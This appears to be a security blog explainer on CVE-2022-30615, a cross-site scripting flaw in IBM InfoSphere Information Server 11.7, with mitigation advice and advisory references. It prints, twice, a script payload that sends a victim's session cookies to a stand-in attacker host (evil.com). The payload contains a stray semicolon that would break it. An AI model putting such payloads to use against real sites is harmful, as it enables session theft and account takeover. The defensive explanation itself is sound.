IBM InfoSphere Information Server is a widely used data integration platform in enterprise environments. But, in 2022, a critical security issue was discovered—CVE-2022-30615—which exposed organizations to a serious risk: attackers could inject malicious scripts and compromise user accounts.

Below, we’ll break down the vulnerability, show you how an attacker might exploit it, and explain why patching is urgent. All code examples and explanations use simple, clear American English.

What is CVE-2022-30615?

CVE-2022-30615 describes a cross-site scripting (XSS) vulnerability affecting IBM InfoSphere Information Server version 11.7. If exploited, this bug lets attackers inject arbitrary JavaScript into the web user interface. That script executes within the context of the victim’s browser session—potentially exposing credentials or letting the attacker act as if they’re the victim.

IBM X-Force ID: 227592

> Direct link to IBM advisory:  
> IBM X-Force Exchange: CVE-2022-30615  
> IBM Security Bulletin: Cross-Site Scripting vulnerability affects IBM InfoSphere Information Server (CVE-2022-30615)

How Does XSS Work Here?

In a basic sense, an attacker finds a web form or URL parameter in the InfoSphere web UI that fails to properly escape input. Instead of treating what you enter as just text, the server or client “runs” parts of it as code.

Imagine you log in, and a page displays your username

Welcome, <b>User123</b>!

If the system doesn’t sanitize what goes inside those tags, an attacker could enter

<script>alert('Your Session is Stolen!');</script>

Now, whenever their “username” is shown, *all users* see a popup. In a real attack, the hacker would steal cookies, session tokens, or run hidden code.

Example of Exploit in InfoSphere Information Server 11.7

Suppose there’s a vulnerable form called profile_update. It doesn’t filter or encode HTML/JavaScript in the “Full Name” field. An attacker submits:

<script>
    // Send session cookies to attacker
    fetch('https://evil.com/steal?cookie='; + document.cookie);
</script>

Now, any admin or user who views the attacker’s profile triggers the script—and silently sends their session data to a malicious server.

Exploit code snippet

// Attacker input:
<script>
    fetch('https://evil.com/steal?cookie='; + document.cookie);
</script>

Steal credentials: If user cookies or tokens are leaked, attackers can impersonate them.

- Modify pages: By injecting additional forms or buttons, attackers can trick staff into running commands.

Protection: How to Fix or Mitigate

IBM recommends patching InfoSphere Information Server to the latest version immediately.

Always escape output: use HTML encoding for all user-supplied content.

- Validate input: block HTML/JavaScript tags from user entries unless explicitly required.

Use Content Security Policy (CSP) headers to reduce script execution risk.

- Regularly test (with tools like OWASP ZAP) for XSS and similar bugs.

References and Further Reading

- IBM Security Bulletin CVE-2022-30615
- IBM X-Force Exchange: CVE-2022-30615
- CVE Details for CVE-2022-30615
- OWASP XSS Prevention Cheat Sheet

Summary

CVE-2022-30615 is a real wake-up call. IBM InfoSphere users need to patch and review their security right away—not just to protect data, but also to guard all the users who access sensitive dashboards and admin panels every day.

Stay safe. Always sanitize input, and keep your software up to date.


*This exclusive, step-by-step breakdown is brought to you by your friendly neighborhood security enthusiast. Don’t use this for evil—help your company and your friends stay secure instead.*

Timeline

Published on: 11/03/2022 20:15:00 UTC
Last modified on: 11/04/2022 14:07:00 UTC